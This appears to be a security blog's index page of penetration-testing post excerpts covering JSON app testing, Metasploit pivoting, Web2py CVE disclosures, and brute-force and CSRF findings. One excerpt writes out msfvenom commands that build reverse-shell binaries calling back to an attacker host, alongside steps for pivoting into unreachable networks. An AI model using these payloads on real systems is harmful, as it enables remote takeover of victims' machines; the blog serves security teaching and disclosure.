Attacking JSON Application : Pentesting JSON Application

Hello all, Its quite long time i have dosn`t updated my blog. So  here we go.



Today we will see how we can pentest  JSON Web Application.

Note- Some of the methods are taken from third party resources and some are presented as my personal experience.

First What Is JSON According To JSON Website.

JSON (JavaScript Object Notation) is a lightweight data-interchange format. It is easy for humans to read and write. It is easy for machines to parse and generate. It is based on a subset of the JavaScript Programming Language, Standard ECMA-262 3rd Edition - December 1999

"In a lemon language JSON is typically used Javascript to pass the parameter". Like Below HTTP Request.

GET /site/getuserinfo=narendrabhati HTTP/1.1
Host: websecgeeks.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0
Content-Type: application/json;

Read more »

Backup Vulnerability Vulnerability Exploitation

cPanel WebDisk Android App 4.0 : Backup Vulnerability

Hello folks,

This vulnerability is regarding an Insecure Data Storage & Security Miss-Congiguration, which can be achieve using Android Backup Functionality.

We all know that many of the mobile application stored user credentials or any sensitive data into device itself as clear text format. which ideally not a good practice.

But many of us might know that to access that data we need root privileges or require some special conditions like debugging to be enable. So still if the mobile application is storing sensitive data in clear text its not an issues. Many Security Teams & Bug Bounty Programs Specially exclude this kind of vulnerability where Root/JailBroken conditions required to exploit a vulnerability.

Read more »

Metasploit Pivoting And Port Forwarding : Attacking Network - Pentesting Network

Metasploit Pivoting And Port Forwarding : Attacking Network - Pentesting Network 

Metasploit pivot technique helps an attacker to Compromise the other Machines which attacker don`t have access to.

So the scenario would be like below.

Attacker: 192.168.23.X

Attacker Can Communicate With System A: 192.168.31.X

A System Can Only Communicate With B System : 10.1.1.X

Attacker Wants To Communicate With Other Systems Using System B.
We also consider that, attacker dont have idea about the System C IP Address.

Pivoting can be achieved in below steps.

Pivoting can be perform in following steps:

1. Compromise primary target machine (System A)
2. Search for System network interfaces.
3. Add route to metasploit session of System A.
4. Run Proxy server
5. Scan the Second target machine (System B)
6. Port forwarding
7. Perform Exploit

Read more »

Generating Metasploit Payloads : Creating Metasploit Reverse Shell

Generating Metasploit Payloads : Creating Metasploit Reverse Shell

Below is the different type of Metasploit Payloads we can use while to get the reverse shell of victim machine.

These exploit can be used in metasploit by using set payload "payloadnae" and before it we have to set multi handler which can be configured by use exploit/multi/handler

Mention payloads require certain inputs as an option such as LHOST, LPORT.

Operating System Based Bionaries Shell

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=attackerip LPORT=attackerport -elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=attackerip LPORT=attackerport -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=attackerip LPORT=attackerport -f macho > shell.macho

Web Payloads : Usually For RFI, SQL Injection

Read more »

Web2py Vulnerabilities 2.14.5 : LFI,XSS,CSRF,Brute Force Attack

Web2py Vulnerabilities

This post is about Web2py  Vulnerabilities which we have found, POC`s are created under Mac OS X EI Capitan, But also tested on windows 7 as well as linux platform.

#Download the vulnerable App - https://drive.google.com/file/d/0B-LjC3oY6tUpZlNkV3BnZU85Y0E/view?usp=sharing
# Exploit Title : Web2py 2.14.5 Multiple Vulnerabilities LFI, XSS,CSRF, Brute Force On Login
# Reported Date : 2-April-2016
# Fixed Date : 4-April-2016
# Exploit Author : Narendra Bhati
# CVE ID : LFI - CVE-2016-4806 , Reflected XSS - CVE-2016-4807 , CSRF - CVE-2016-4808, Login Brute Force - CVE-2016-10321
# Tested On : MAC OS X EI Capitan, Windows 7 64 Bit, Most Linux Platforms.
# Fix/Patching : Update To Web2py. 2.14.6
# Facebook : https://facebook.com/imnarendrabhati
# Twitter : http://twitter.com/imnarendrabhati

Read more »

Testing Of Broken Session Management & Authorization By Burp

Hello all folks ,Nice to meet you again guyzz !

Today we will see that how we can do Testing  Of Broken Session Management & Authorization By Burp Suite Quickly against an large application which contents thousands of pages , Like financial application also like banking application.

This can be very informative for those new guyz who dont know about it and for those also who also know about it already , i am just showing you that how we can do this more quickly with some percentage of accuracy because nothing is perfect ! :)

===================================================================

Read more »

Modx XSS And CSRF Bypass "CVE-2014-8773 , CVE-2014-8774 , CVE-2014-8775"

Modx XSS And CSRF Bypass

Hello all Bro`s :) ;) , Leets and learners , Hope you all are well and enjoying your bounties as well as ;)

Today we will see how i got Modx XSS And CSRF Bypass ( Modx CSRF + XSS = A Perfect Disaster  ) ;)

Attacker Scenario Is Inspired From Symantec CSRF

So What Is Modx

MODX is the web content management system (CMS) that gives you complete control over your site and content, with the flexibility and scalability

Read more »

Exposed Session Variables-Exploitation

Hello all folks and dear friends this post is specially dedicated to learners and also if you dont know about this vulnerability or can say exploitation And if you already know about it , then you can Re-Read it again , Reading is this is absolutely free =D ;) sorry for the Bad joke

=============================================================================================
Today we will talk about the Exposed Session Variables-Exploitation and how we can exploit the same in real attack scenario !

Read more »

Referrer CSRF Bypass ( Not Effective But Alternative )

Referrer CSRF Bypass ( Not Effective But Alternative )

=============================================

Hello all friends we are meeting again in very short time ;-)

Today we will see how we can bypass the Referrer CSRF Bypass

By using Chained Vulnerability..

So Lets Begin

Read more »

Facebook Brute Force Attack Vulnerability

Welcome back all l33ts :-)

Today i am going to show you that how i got Brute Force Attack Vulnerability in Facebook "Facebook Brute Force" Attack Vulnerability ( Reported On 11-4-2013 ) 

first we have to know that what is Brute force attack vulnerability 

According to OWASP  

A common threat web developers face is a password-guessing attack known as a brute force attack. A brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works. If your web site requires user authentication, you are a good target for a brute-force attack etc. :-)

So lets move to the interesting part

Read more »

"Sourceforge Brute Force" Attack Vulnerability ,Sourceforge Brute Force

                                         Sourceforge Brute Force Attack Vulnerability

I want to share my finding "Sourceforge Brute Force" Attack Sourceforge.com which I have reported to Source Forge Security Team on 25th October 2013. 

While downloading a project i think that i should test the log in panel for brute force attack vulnerability On - https://sourceforge.net/account/login.php

After some analysis i have found that the there was no protection of login attempts or you can say Brute force attack ..

So i test the source forge log in panel i found something interesting.In my test i have tested 100 something attempts with my account bhati.contact@gmail.com

Read more »